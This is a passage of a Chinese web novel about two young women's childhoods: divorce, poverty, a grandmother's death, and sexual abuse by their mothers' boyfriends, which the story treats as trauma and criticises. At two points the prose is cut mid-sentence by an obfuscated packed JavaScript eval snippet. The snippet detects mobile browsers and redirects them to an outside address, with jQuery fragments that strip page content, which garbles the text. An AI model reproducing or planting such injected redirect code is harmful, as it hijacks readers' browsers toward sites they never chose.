父母离异后,一开始林予星是跟着父亲的。去到深城,交给爷爷奶奶带。
而爷爷奶奶跟着姑姑一家三口住。
七口人住的不算拥挤,印象中甚至还算宽敞。住了快三年,父亲才因为要再婚,重新买了套房子。
"二十年前房子没那么贵吧?还记得是多少吗?"黎嘉年静静听她说起这些他曾经听过的故事,装作是第一次听。手上极其自然地给她夹了根鱿鱼腿,顺带问,"味道还可以吗?"
"可以啊,特别入味。"林予星没有觉察到不对,黎嘉年和黎欣相似的面容使她不自觉放下所有戒心,继续讲述她的故事。
二十多年前深城的房价的确不高,对比现在近五万左右的价格,那时才四千块不到。
随着沿海经济发展越来越快,吸引前来打工人口增多,房价呈现上涨趋势。父亲趁着房价还未涨得太离谱,跟姑姑一家借钱买了房。
“借了十几万吧,他自己监工。等房子买下来了,他就开始带着我后妈出现了。”
不是出轨,也不是小三,是自然而然出现。
林予星对自己后妈没恶意,甚至主动叫了妈。
没有出现狗血剧里的互相陷害,没有后妈虐待小孩,也没有看不顺眼对方的桥段。
后妈对她还算不错,总会拉着自己去吃甜品,甚至哄她睡。
她许久不见自己亲生母亲,便将这份感情转移到后妈身上。
日复一日,她们就保持着这样友好的关系,直至后妈和父亲住在一起。
某天,林予星上学即将迟到,父亲却迟迟不从房间里出来,她催促半天不见父亲说话,拧开门一开,就看到他和后妈睡在一张床上。
宽大薄被下,不知道二人是以何种姿势相拥。
只知道父亲拉高被子,双眼眼角微微泛起血红,满脸阴郁地吼自己出去。
林予星被吼地不知自己做错了什么,愣在原地好久不动。
在做早餐的爷爷奶奶急急忙忙把她拉走,关门走出家上公交。
这样的事发生过两三次后,林予星想起自己初次看到时的心情,五味杂陈:“我问他们,是不是要结婚了,他们说是。我又问,那能不能给我房间装个空调?或者,让我见见我亲妈。也许,那个时候我已经预感到会被他们抛弃。”
空调,是她那间小杂物房唯一没有的东西。
夏天她自己一个人在那睡时总被热醒,主卧和爷爷奶奶住的地方都安了,却唯独她那没有安。
林予星从小颠沛流离,父亲母亲纷争不断,不是在山城就是在深城,安全感严重缺失。有很长一段时间,她都是哭着醒来。
眼见父亲婚期将近,不安发作,她想用空调试探他们的态度。如果不行,就让她回去见自己的亲生母亲,寻找下一个庇护点。
黎嘉年见气氛沉重,夹了块酿豆腐放进她碗里,温声道:“好了,你现在已经走出来自立,就别再去想从前,伤脑。我们换个话题,你有驾照吗?我们开车去农庄,你应该很久没开车了吧,要练练手吗?”
“你不用想办法安慰我。黎嘉年,我不信我的事黎欣没跟你说过。”林予星毫不留情戳穿,“现在这些事我也不过是说一说,不会再为它伤心。”
自从父母各自再婚后她就认清,她没有家。
她是被放弃的一方,不论在哪个家都会沦为血包。
她如果不离开,父母都会以交家用的名义,用孝道绑架她供养弟弟。
就像程芷琳,刚出社会,到手工资两千五。
不仅要养自己,还要养被丢出来的妹妹。
她的母亲等她能出来工作许久,一旦能赚钱便立刻甩出去两个包袱,只专心养着不成器、高中都未读完的儿子。
无数在广东的女孩都证明过这点,留下的要比逃出去的要多得多。
长年累月的驯化令她们忘记了痛苦,甘心将枷锁往自己脖子上套,锁链尽头连着家,拿着自己辛苦赚取的工资想着孝敬父母,却不知他们转头给了弟弟。
“我知道,所以我想问问你的想法。”黎嘉年瞥她一眼,“你将你母亲联系方式拉黑后,她打给过我姐,黎欣有和你说吗?她好像……找你有事。”
话音未落,林予星吃饭的动作顿住。
夹不稳的米饭从筷尖掉落,落入被挖空散热的碗中。
20.花旗参炖瘦肉
关于林予星的小时候,黎嘉年从黎欣那听说过,事无巨细,发生在那个年代,再去回想,多少有种做梦般的荒诞感。
在深城读书时,需要花个几万买学位塞进学校读书。
回到山城,仍然要面对同样境地。
没有钱,没有关系,就没有书读。
小孩太多,家长坚信棍棒底下出孝子。
一个班六七十个学生是常态,老师掌箍体罚也是常事。
在父亲即将再婚前夕,林予星回到了母亲身边。
她撒谎、造谣、扭曲事实,在一次暑假跟随母亲离开深城,再未回去过。
深城,这座城市从小带给她的只有压抑。
设立经济特区与她开始记事的时间不过相差二十年。
二十年还不足以改头换面。
她在这座城长大,抬起头看到的永远是灰扑扑的建筑,像被车尾气包围,笼罩在一层灰纱中。
读不完的书。
每天需要背诵的单词。
电视上播放的《翼年代记》是灰色调。
无法共处的朋友,中途转学的藏区学生好奇接触下,学会的几句藏语长大后忘得一干二净。
连同她本该会的粤语,在周围皆是客家话的围拢中,慢慢就忘了如何讲。唯一没忘的,是靠着TVB剧知道其中意思。
于是造成现在林予星会听不太会说。
想再学会,倒是不难,但想练到从前母语级别,多少有点阻碍。
在山城的十年,时间抹去她曾在深城生活过的痕迹,一点一滴将她变成属于这个地方的人。
林予星错过深城高速发展的年代,窝在深山中长到成年的时间里,性格也从活泼变得内向。甚至连年末总结,老师都在小本子中写下一行字:过于孤僻不合群,望来年改变。
“你后悔跟你妈妈回去吗?”黎嘉年问。
他不知道,他问出的这句话,熟悉林予星身边的人都曾问过。
你后悔吗?
后悔没有留在深城。
后悔到那教育落后,思想封建的山城吗?
林予星摇摇头:“没有。”
她从未后悔回去。
如果不回去,她不会有一段无忧无虑无拘无束的山村时光。
也没有办法认识程芷琳,更没办法知道自己未来想要什么。
春季耕种,夏季看雨。
秋季秋收,冬季歇息。
林予星印象最深的,是外公曾在别家抱回来的小黄狗,可惜没撑过狗瘟,葬在柚子树下,那是她第一次直面死亡。
彼时,她已经回到母亲身边,去镇上读书,每个周末都会由母亲开着摩托车碾过黄泥路,送去山上小小的黄土屋,那有一片果园,是她的乐园。
小黄狗死前撑了两日,外公说它就等在家门口,熬着熬着,没熬到她回来,等发现时,身体已经僵硬。
就走在她回来的前一晚。
头发还未全白的外公在柚子树下挖了个大坑,又铺了生石灰,小黄狗就这么安静地消失在林予星生命中,也安静送走她的童年。
从此以后,不会再有个毛茸茸的身影蹲在土屋前等待她回来。
后来外婆生病,果园卖掉,由他人承包。
那么大一片果园,三块池塘。
未熟的李子、桃子、柚子、香蕉,打包价格一万出头卖出。
她彻底失去童年踪迹。
在那之后很长一段时间,她都在沉在负面情绪中无法走出。
好景不长,又过了几年,外婆因哮喘离世。
自卖掉果园后外婆身体便已不是很好,瘦瘦小小的人提前拍了遗照,自外婆去世后就放在灵堂正中,默默注视前来吊唁的亲朋好友。
外公曾买来逗林予星玩的拉琴人偶拉着《梁祝》,放在照片前循环不息。
在她印象中总穿着花紫上衣黑长裤,戴着氧化成黄色、竹片编织斗笠的老太太忙碌一辈子,在她心口上扎下一根针后什么都没留下。
在医院时,母亲赶自己走,不想让自己看到。
可林予星不听话,站在走廊外,透过半扇开着的蓝色窗户,鼻息间全是消毒水和苦药味道。
医院护士拉起蓝色不锈钢折叠屏风,隔绝病房中其他人视线,唯独没有隔绝她的视线。
老太太已没有血色,面上笼罩着雾蒙蒙的黑气,浑身皮肤枯黄,仿佛秋日落叶。
方方正正的病床成了刚刚洗净的盘,她落在盘中,时间腐蚀掉她的青春、她的声音、她的故事。最后她大张着嘴,努力想要喘上最后一口气。可来不及吸气,浑浊的眼珠倏然溃散,像被捅破的青蛙卵,黑色瞳孔骤然蒙上灰浊色。
不再挣扎着呼吸,不再试图喘气。
在周围儿女放声大哭中与世长辞。
老太太吐出的最后一口气化为祠堂中的香火,尸身燃烧,化为骨灰盒葬入椅子坟中。
阳光照常升起,夜晚总是降落。
老太太去世后第三天,林予星见到自己外公。
本着生肖相冲者回避的习俗,外公并未见他妻子最后一面。
他坐在母亲租来的出租屋中,一根又一根抽着烟。
苍老憔悴的脸上提不起半分笑意,身形佝偻,如同棵被蛀空的老槐树,将所有重量都压在在藤椅上。
外公看到她,皱皱巴巴的脸上半张脸不动,下半张脸却诡异地往上弯,不等他完成这个笑容,浑黄的眼珠骤然落下泪,沿着皱巴巴的眼圈落在地上。
相依相伴几十年光阴,从青葱岁月到古稀之年。
外公想的是什么呢?
是十几岁参加志愿军战争,少年意气风发归来,遇到外婆时的青涩。
是□□时二人搀扶南下,带着家当和孩子来到山城定居。
是生活磨灭爱情过后的一地鸡毛。
还是往后余生的孤独?
林予星读不懂的那滴泪,随着风干蒸发,渐渐撬动死亡认知。
母亲在外婆去世后愈发忙碌,做椅子坟墓需要不少钱,六个子女分摊下来也要一千块,让本就贫穷的小家雪上加霜。她开始没日没夜加班,回来还要做饭。
林予星帮不上母亲什么忙,只能替她备菜洗菜洗碗。
她不喜欢家里的高压锅,煮沸时总发出尖锐声响,下一秒就会爆炸般,可母亲偏偏喜欢用它做各种炖煮物。
做的最多的是花旗参炖瘦肉。
母亲不懂怎么爱她,只会买一堆滋补物半是强迫半是责骂要她喝下去。
红泥炖盅没有把手,林予星没有长茧的双手需要深入滚烫的高压锅内,隔着湿帕子把它拿出。
一次,两次……
三次,四次……
烫到指尖发红也无法顺利拿出。
母亲将她推开,骂骂咧咧拿出另外一条湿帕子,轻而易举就将炖盅放在快被蛀虫蛀空的桌上。
小盖子掀开,里面积攒的热气如同一团软乎乎的云,缭绕在盖上,散在空气中,逐渐消失。仍冒着气泡的清亮汤面油花很淡,将长满霉菌的厨房框入不规则油面。
花旗参的药味与炖出浅色浮沫的肉味交织,盛出一碗清亮黄汤,这次连同汤渣都不能剩下。
配料简单,没有放调料,微微苦的参汤入口后立时化为清甜,与炖煮的瘦肉和参片一起咀嚼,会越嚼越香,嚼成差不多能吞咽的程度甚至能品出几分药材本身的清香。
每隔一段时间,她就必须吃一次。
母亲不知哪来的执念,或是听了哪家老人说的话,非说这样养生,能治好她的贫血。
长大后林予星才知道,自己或许真有两广地区最为常见的地中海贫血,所以肤色比正常人白些,她没有去确认,想着死不了就不花钱去治了。
这么想着,她便也就这么稀里糊涂长大。
回看十几年间,母亲对她的爱藏得太深,以至于不去细想便无法觉察。
是的,无法觉察。
母亲的爱就像被药汁泡过的鞭子,当无法承受生活的苦,精疲力竭时,母亲便会举起鞭子打在她身上,发泄情绪。残留在鞭上的药汁却融入伤口,日复一日化为麻药,让她忘记身上曾有这么一道伤口。
疼痛、谩骂、压抑,是她童年最多感受到的情绪。
到了冬日,这种情绪会随着冻疮长起化脓,到气温转暖才会慢慢变成血痂脱落。
印象中的母亲会喝啤酒,喝客家娘酒,小酌怡情。
偶尔中个码,捡到现金便是母亲最快乐的时候。
"妹儿,走,带你去吃牛肉丸汤。"
用三个月工资攒下的摩托车沉重却稳当,林予星那时还小,爬上摩托车的动作笨拙且慢。母亲调整完后视镜,就会用她那缠满止血贴的双手将林予星扶到自己背后。
她们用捡来的十块钱花上五块去附近摊位点上有十颗牛肉丸的清汤,其中两颗还是看摊子的阿姨送的。
——那是母亲的小姐妹。
每次见面,她们都会聚在一处说起林予星如何如何难带,一日三餐吃了这么多却不长肉。以此为开头,再说起最近制衣厂近况。
林予星听着她们说话,努力吞下那过于滚烫的牛肉丸,烫地忍不住流泪。
母亲骂她没用,问她究竟哪里烫,说完拿过塑料勺吃下一颗,在肉丸摊老板回来时消灭那两颗多出的肉丸。
见摊主老板没觉察,两个大人才对视一眼,孩子偷糖那般相视而笑,默契聊起从前。
二十年前山城因着有廉价劳动力,吸引大批中间商拿着布料到此裁布做衣。
在那个年代,没有社保合同,没有加班费,做得好的按工时,宝妈和年纪较大的按件算。
母亲只读到六年级,小学都未毕业,出去闯荡第一站就是深城。彼时深城也在开发阶段,环境比山城还恶劣几分,八个人十个人挤在宿舍,洗澡在公厕,需要提防随时会破门而入的流氓进来偷看。
在这待遇下,母亲几经辗转回到山城,在此地扎根。
靠着没日没夜的工作干活撑起一个小家,头顶灯管若是闪烁,便会影响视力,专注一旦被分散,缝纫机针尖会毫不留情扎过指甲,将手指扎穿,在布上迅速印下血痕。
这样连轴转的工作与生活,母亲过了二十余年。
从头发乌黑到生出银丝。
抗老的油皮生出皱纹。
肚子上的圈圈也渐渐松垮,悬在裤腰上,像融化的冰淇淋,堆积在边沿。
尽管母亲已如此努力也并未得到她想要的生活。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143784|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三十不到便离婚的女人在信息闭塞的山城等同黄金,人人觊觎她所剩的价值。
还能生育。
肥美身躯还能提供性取悦。
介绍给她的男人流水般轮换一个又一个,投简历似的来到母亲面前。
或许是想要走出和父亲离婚时的阴影。
或许带着林予星太过缺钱。
或许是她累了。
母亲在她六年级时接受了个姓高的朝城男人。
他高瘦高瘦,说话轻声细语,莫名让林予星想到母亲做衣服用的软尺。
刚开始一切都很好,大家其乐融融,真像是一家人在生活。
男人在她们附近租房住下,还将她们带到他莞城打工的地方住过。
林予星真以为母亲和这个男人会走到最后,却发生了件让她感到不太舒服的事。
那时正值夏季,莞城工厂多,弄得到处乌烟瘴气。
就算窗户未关,那似有煤渣粒子的风像被拦下,空气凝滞到几乎窒息。
男人将租房处唯一的床让给了她,和母亲在客厅打地铺。
初来莞城,男人租房的家里堆得满满当当,黑夜里抬头低头都是不规则的阴影。
她甚至能听到死角处蟑螂啃食塑料的动静。
窸窸窣窣,还没有风。
狭小的出租屋像死掉的庵堂,沉闷闷的压下,没有活人气。
她翻来覆去睡不着,直至凌晨迷迷糊糊快昏睡过去时忽然听到"啪"一声轻响。
听动静硬是巴掌声。
随即而来的是低低说话声,她听不清。
林予星想去找自己母亲,和她一起睡。
辗转多次后假借要上厕所起身,连拖鞋都没穿就走出房间。
月色淡淡,视线所及皆是极冷的冷色调,如同在黑夜中倒下稀释过的蓝墨水。小窗外透入的光朦胧不清,却足以照亮视线所及。
男人一只枯瘦肮脏的手越过母亲粗胖腰际,按在柔软上揉捏,约莫是听到动静,迅速放开,懒懒搭在白腻腻的腰上。
林予星说不清自己是什么感受。
她蹲在厕所,不懂自己刚刚那瞬间袭上心头的情绪叫什么。
等她出来,母亲从席子上爬起,走进黑漆漆的房间,小声问她:“睡不着吗?”
自父母离异,林予星跟随母亲回到山城后,梦里总是不安,据母亲说一夜会惊醒好几次。可对她来说,离异并不是阴影,她并不知道自己的不安究竟来源何处。
很久之后林予星才明白,是随时被扔下的可能。
可在那时,她正上初一,不明白这些事情。
她只知道那晚两母女窝在陌生出租屋总算得以安眠。
如同这次。
林予星望着电视上光影变幻的画面,食困带来的疲惫感爬上眼皮,上下眼睫毛像是安了磁铁,要将她双眼合上。
屋子里很安静,静到她可以听到身旁黎嘉年的呼吸声,很轻很慢。
他身上熟悉的气味暖乎乎的,每寸都跟浸润过阳光那般,将她包裹进安全范围。
黎嘉年正挑选电影,觉察到她的安静,侧过头去看,恰好看到她在打哈欠。他停下按遥控器的动作,轻声问:“困了吗?我把黎欣房间铺好,你去里面睡。”
“不了,我在你沙发上眯会……”
林予星说着,身体已往扶手上倒去。
恍惚间,犹如夭折昙花,扎不深的根系无法支撑盛放的重量,直直坠入尘泥。
黎嘉年眼疾手快抓过自己背后云朵造型的抱枕,扶住她脑袋,塞进脊椎与沙发间的空隙。
“谢谢……”她困得睁不开眼,嘟囔吐出两个字。
“嗯,我就在这看会书,你可以睡久点。”他刻意压低声音。
林予星又含糊说了句什么,黎嘉年没听清,将沙发让给她睡,自己则站起来关电视,去房间拿自己常盖的薄毯给她盖上肚子。
她睡得毫无形象,因着身形清瘦,手长脚长,哪怕穿着睡衣披头散发也比常人多出几分美感。
他曾看过一副油画,是索罗拉的《午睡》。
全然放松的休憩姿态让他不禁想,沙发如果是草地就好了。
黎欣提过,从前林予星通常脱下校服当枕头,倒地就睡。
她说,外边比家里要暖和安全许多。
安全。
永远缺失的安全。
因为总是搬家被扔下,浮萍般飘着游着,于是干脆破罐子破摔,睡在外头的安全吗?
黎嘉年凝视她长发下半遮半掩的脸,宛如修剪稀碎黑绸缎下的石膏像。他忽然想起看过黎欣手机照片中她小时候的照片,变化不大,不过是从有点婴儿肥的鹅蛋脸彻底变成瓜子脸。
偷拍一张她会生气吗?
脑子霎那闪过这样的念头。
黎嘉年静默片刻,起身拿起书坐到另一边沙发。
思绪纷乱间,他想起黎欣曾跟自己说过,林予星母亲最终没有和那个朝城男人走下去。
明面上说是因为男人太穷,四十多岁还要租住在姐姐家。
但林予星说出她猜想过的另一个原因。
那男的趁大人不在家,吻过林予星。
或许,被她母亲知道了。
21.粿汁
问过身边的女孩,似乎都有过类似遭遇。
他们仗着长辈身份或是其他,用诱哄、逼迫、威胁、利诱等等手段品尝未长熟的青果。她们懵懵懂懂,恐惧与痛苦如同绣花针,缝住她们呐喊的声音。
如果没有初中时全校女生聚集在阅读室听副校长科普生理知识,她们不会知道自己身体变化意味着什么。
胸.部的疼痛不是肿瘤或是其他,而是发育。
内裤上的红色鲜血不是因为得了绝症,而是月经。
可在这科普之前,她们已经明里暗里遭受过许多带着恶意的试探。
林予星是在高中时期才反应过来,母亲第一任男友在不经过她同意下,强行与她舌吻。
胡子拉碴的男人借着喜爱她喜爱女儿为由,用力把她拉到他怀中,又用下巴上的胡子扎她,表示亲昵。
林予星并不喜欢这样,甚至厌恶他身上恶臭的烟味。
曾经在老家时外公也喜欢这样,用胡子扎她,扎得她滋哇乱叫,玩闹过后便带她去买绿舌头、香雪海之类的冰淇淋雪糕,吃到拉肚子被外婆骂,外公这才收敛着投喂。
可这二者有本质区别。
在那些年她说不出来的感受,只有在长大后才能详细剖析。
常年在外跑腿,晒得又干又黑的男人,戴着一副斯斯文文的黑框眼镜,任谁看了都不会把他当作坏人。他温文尔雅,平易近人,开始林予星也这么认为。
直到有一天母亲不在,把她交给男人带。
被烟味浸透的口腔包裹住她整张嘴,男人抱着她,捏住下颚掰开她紧闭的牙关,硬把他舌头塞入。浓郁到近乎窒息的烟味冲击呼吸,滑溜溜的舌头卷住后退,他像蛾子,刺破青果,吸吮其中汁水。
而这件事足足过了两年,她才在高中生物课上知道,这种行为叫什么。
——【猥.亵】
意识过来那刻,夏季凉风灌入教室,裹挟雨丝与木棉,砸在窗边书页。
生物老师在黑板前写写画画,粉笔断裂,指甲划出尖锐刺耳声响,刺得她耳膜生疼。
教室安静而闷热。
她心中惊涛骇浪。
无人知晓。
成年后才敢吐露的心事如发霉陈谷,沉入泥地。
"你被熟人猥.亵过吗?"
"你被兄弟叔伯舅父等等亲近的人觊觎过吗?"
"你在洗澡,换衣服,上厕所时被窥视过吗?"
他们的眼睛像潜藏在下水道口的蟑螂,伸出细长触须,猥猥琐琐蹲伏在暗处。
人在、灯亮,他们便不敢出来。
等待灯光熄灭,他们才爬出下水道,窸窸窣窣啃食她们用过的器具。
纸巾、鞋、内裤、衣物……
仿佛摸到这些,就摸到他们目标。
一张稍稍裸露的照片,都能让他们捧着握着,在被窝下,在电脑手机前产生幻想,掐出道道肮脏污秽的念头。
林予星在那次反应过来后,不止一次被周围男人恶心过。
他们开黄腔,若有似无的试探都是为了满足那根不安分的东西。
有时候她会想,要是能恢复宫刑就好了。
不止她想过,程芷琳也想过。
甚至来源都相同,是母亲们被迷惑后带入家门的恶鼠。
他们迅速侵占这个家,不仅将母亲纳入囊中,当作他们的所有物,还将她们的女儿也当作探囊可取的东西,把自己想象成享齐人之福的权贵。
什么伦理道德,公序良俗,统统化为污浊,撒在手里,散发腥臭。
“有啊。”
“我是不是没跟你说过?”
“我妈男朋友的儿子,二十七八岁讨不着老婆,让我跟他来着?”
程芷琳说这话时,神情复杂,她微微皱眉,想起那些令人恶心的过往。
与林予星不同,她的父亲是患癌离世。
母亲远去汕城打工,留她们三姐弟在伯伯家寄人篱下,看人脸色过活。
暑假期间,母亲接她们三姐弟去汕城,她们还未从走出山城的喜悦中缓过来,下一刻便要接受母亲有了男朋友的事实。
那男人瘦小且矮,生的一对儿女却体格健壮。
七口人挤在两房一厅的出租屋里,连转身都要迈过另一人。
晚上,趁其他人睡着,妹妹小声和程芷琳抱怨这地方又挤又难受,回山城好歹有张床睡,现在出租屋里唯二两张床都要让给母亲和她男友,她们弟弟和男方儿子,她们两姐妹与男方女儿躺在客厅打地铺。
说完这个,又开始抱怨母亲眼光太差,找了这么个男人,没什么本事不说,母亲在厨房忙碌时他根本不搭把手,只有她们两姐妹陪着母亲忙碌。
程芷琳不知道该怎么反驳。
她隐隐清楚为什么会出现这种局面,却不想要承认,只拿其他搪塞过去。
“你有没有发现,他有什么不对?”程芷琳小声问妹妹。
面容姣好的妹妹哪怕是在夜里也格外漂亮,一双眼睛跟鱼缸里沉落的鹅卵石似的,映着些微月色亦可泛起清光。她眼睫颤了颤,却没有回答。
相依为命的她们怎么可能不懂对方没说出口的话。
程芷琳叹口气:“睡吧。”
睡吧。
什么都不要去想了。
三姐弟只有她有记忆就好。
她们不必承载这种痛苦,就这么稀里糊涂过下去吧。
听着妹妹逐渐均匀的呼吸,程芷琳翻了个身,盯着墙上没了玻璃罩着的时钟发出“嘀嗒、嘀嗒”声。
恍惚间,时针逆转,倒流回从前。
父亲去世那年,妹妹才三岁,弟弟一岁,她却已有七岁。
三姐弟当中,只有她对父亲有记忆。
印象中,父亲脾气不是太好,却是相貌英俊。
发黄的照片是父亲留下的唯一遗物,也是留给妹妹弟弟唯一念想。
透过这张相片,妹妹大概也能觉察到不对劲。
母亲的新男友有几分像父亲,尤其是抽烟时遮盖朦胧的眉眼。
神似。
程芷琳见到他那刻,心脏像被针扎了下。
那些原以为放下的过往汹涌袭来,她懂得了母亲的执念。
和父亲相守时间太短,和时间日月相见太长。
母亲一直没放下他。
于是选择了他。
住在这小小的破出租屋,就当是和父亲还在世,她们俩未曾分开。
程芷琳从未反对过母亲寻找新男友,她还年轻,不过四十多岁。
父亲癌症那年留下的债务都在靠母亲偿还。
能在这时接纳母亲的男人大抵也是好的吧?
胡思乱想一同后,她逼迫自己不再去想,正准备放过自己睡去,忽而听到脑袋指向的房间有打开的动静。
“吱呀——”
生锈转轴发出轻响。
随后有脚步声走出,却并未朝其他地方走去。
相反,他定住了。
程芷琳感觉到有道视线在自己身上逡巡,从左到右,从上到下,最后落在胸口。她没有睁眼,假装睡熟,过了许久,那道目光才消失。
脚步声从门口终于开始移动,走去厕所。
撒尿声稀里哗啦,听声音像溅地到处都是,随后便是冲水声,开门声,关灯声,最后关上门,重归寂静。
程芷琳松了口气,翻了个身重新睡下。
辗转反侧,直到凌晨。
不知谁家的鸡乱叫,狗吠声起,像回到村里。
换了个新地方,程芷琳和妹妹都睡得不大安稳,早早醒来就发现母亲已经买好早餐。
房间门关着,家里三个男人都未起身。
两姐妹去厕所刷牙洗脸,还没到门边就闻到股浓重尿味。
她们对视一眼,都从对方眼中看到彼此情绪。
邋遢又恶心。
蹲坑黄到斑驳,常年累月积攒的污垢与排泄物和干透的黄泥般。牢牢扒在每寸死角。
程芷琳轻声说:"我先打扫下,你去阳台下水道那刷牙洗脸吧。"
妹妹应好,盛了一盆水去外边洗漱。
程芷琳则留下来用厕所里卷曲成长团状的扫把和洁厕灵清扫干净卫生。
她用力挤出所剩不多的洗涤剂,直到它吐出最后一口泡泡。
拧开喷头,灌水,撒到地上、蹲坑、脱漆下水管道。
那股洗涤剂的味道冲上头,迅速溢出这间小小的卫生间。
程母摆弄着汕城特色早餐,听到动静,走过去看。
一大早,程芷琳小小的背影就在那处忙碌不停,脊骨弯下,那双手在她看不见的地方悄然变得粗糙。
"阿妹。"程母用客家话喊她,"不要搞了,搞不干净的,先过来吃早餐,我等会弄。"
程芷琳没有回头,用力洗去那些污垢:"不用,一会就好了。"
每次都是这样,她要是不干就要母亲干,不然就是妹妹。
作为家里长姐,程芷琳早已习惯为母亲分担一切,自愿去分担这许多杂事。
可这陈年污渍就如母亲所说,搞不干净。
任凭程芷琳再用力,倒再多洗涤剂也无济于事。
她没了办法,草草弄完,草草洗漱,洗干净手后和妹妹一起坐在小方桌前撕扯那些塑料盒。
妹妹想先吃一碗,母亲不让:"有没有点规矩?叔叔和你弟都还没起来。"
程芷琳默默放下筷子,给自己妹妹使眼色,让她去喊人起床。
不等妹妹起身,一直被三人忽略男人的女儿洗漱完出来,用力敲门把人闹醒,随即一屁股坐到饭桌前,也不打招呼,掰开一次性筷子,拿起一碗粿汁就吃早。
她不喜欢她们出现在这。
程芷琳意识到这点,默默低头不去看她,坐在椅子上等人齐才敢吃。
是啊,谁会喜欢侵占自己地盘的人呢?
本就狭小的出租屋,本来四个人人住,她好歹有张床。
程芷琳三姐弟一来,床没得睡,空间缩小,连生活都要被影响。
母亲没有看她,似是早就习惯,问了几句家常话,嘱咐她打暑假工小心些便再不说什么。
结果等人陆陆续续齐了后,母亲忽然说:"芷琳,暑假锻炼锻炼,也像你雪芬姐一样去打个工吧?"
桌上没人说话,各个忙着拆开塑料盖吃早餐。
程芷琳正要点头,妹妹却先她一步:"我姐打的工还不够多吗?初中就开始打黑工打到现在,就不能休息一段时间?"
"不然我去吧……"弟弟小声开口,"反正周围没什么好玩的。"
"闭嘴,吃你的。"母亲丢了双拆好的筷子给他。
话题就这么沉下去。
但程芷琳知道家里情况。
父亲治疗癌症的钱还没还完,即使九年义务教育,家里三个小孩平时开销也要两千多块。要是遇上生病、交学杂费之类开销稍稍大点的,就要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194671|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝亲戚借钱。
"我休息一星期就去周围看看有没有招暑假工的。"程芷琳懂事道,说完,她揭开塑料盖。
半透明米浆迫不及待溢出热气,在卤料里滚过的肉、肠、蛋混着油条、豆干、香菇等等食料冒出尖尖,一勺卤汁淋下,像雪山融化,山顶露出植被草皮。
程芷琳没有吃过粿汁,也不喜欢吃内脏,但这是在别人家,她不好挑食。于是,她只好拿起筷子慢慢吞吞吃下第一口。
咸咸香香味道漫入口中,恰到好处的咸味带动鲜甜,引动食欲。
糊状粿汁淋淋漓漓挂在卤肉上,又滑又嫩。
第一口下去还觉得有点清淡。
第二口下去眉尾已上扬。
一口接一口,一块接一块,程芷琳迫不及待吃完这碗粿汁,连平日里最不喜欢吃的肠也吃得干干净净。
"好吃吗?"母亲笑着问她们。
三姐弟空不出嘴回答,只一个劲点头。
无人注意到,在程芷琳对面,男人的儿子悄然从热雾中抬眼,不经意间瞥见她圆领下的皮肤。
"咕咚。"
他咽下口中食物,闷地听不见。
安稳度过两三日,三姐弟去周围逛了一圈。
身上没钱,她们只能出发时戴好馒头包子之类的干粮,再花几块钱坐公交去景点。
小公园、陈列馆、博览中心,沿着海岸线慢慢散步。
咸腥海味扑面而来,驱散夏日闷热。
夕阳西下,在海平面洒下大片粼粼金箔,海鸥成群结队飞过,捕鱼轮渡归来,停靠在码头边。渔民搬着各种网和塑料桶下船,橙红色日光将他们影子拉长,忙忙碌碌,如同蚁群,将捕来的鱼送入仓库,等待一会分拣。
程芷琳望着远方红日慢慢沉下,不知怎么,想到了金橙色、晶莹拉丝、凤梨味的月饼。它正在被海面吞下,或许是因为甜到齁嗓子,吃的并不快,甚至溢出漫天红霞,铺满整片天空。
沉落一半时,她仰头看天。
色泽绚烂的仿佛林予星的调色盘。
金橙耀眼,铺在云朵底部。过渡呈现出暖紫色调,漫向蓝色调。
三姐弟踩着被霞光映紫的地砖回家,路过海岸公园出口时,看到有人摆摊。
一盏小灯照亮桌面,亮闪闪且五颜六色的珠子手链摆满台面。
摊主是个四五十岁的中年妇女,看到她们往这望来,高声揽客。
"十元三串、十元三串,来看看啊靓女们。"
这是她们第一次来汕城,程芷琳下意识想起林予星。
十元三串……
正好,一串给林予星,一串给妹妹,一串给自己。
上次打工还剩几十块,程芷琳拉着妹妹走过去,让弟弟在旁边等着,她们两姐妹在摊子前选自己喜欢的样式。
或许是因着临海的缘故,不少手串有贝壳海螺,程芷琳挑了两个相似的,让老板帮她打包好,等暑假结束后送给林予星。
买完手串,再起身时,晚霞已经褪去,紫色调光线已经冷淡,变成深沉的蓝色。
回到那压抑的出租屋,吃完饭已是晚上八点。
面对母亲欲言又止神情,程芷琳先开了个口。
原是附近的电子厂在招暑假工,15块钱一小时。
在室内,不用风吹雨淋像在河边拉砂那样辛苦。
程芷琳点头说好,妹妹也想跟着去,结果因为年龄太小去不了,最低也要十四岁。
明天是最后一天放松的日子,往后直到暑假结束都要呆在电子厂。
程芷琳盯着台式电视,雪花遍布,信号太差,母亲男朋友只能上去弄天线。
直到看到九点钟,五个孩子被催着去洗澡睡觉。
意料中,程芷琳仍是最后一个洗。
为了省水费,用沐浴露洗完冲干净后的水会留到下一个人用。
心里再恶心也没办法,孩子太多,入不敷出。
结果轮到程芷琳时,趁着其他人已经进房间睡着,妹妹擦着头发凑近,小声告诉她把脏水倒掉了,给她换了新的。
"被妈妈发现怎么办?"程芷琳不安道。
比起自己,妹妹从小有自己主意,敢和母亲顶嘴。
在山城时,家里财政大权由妹妹把控。
"你管她呢。省这么几块钱能升天啊。"妹妹看不惯她这样怯弱,催促道,"快去吧,那水留下来,妈说明天拿来冲厕所。"
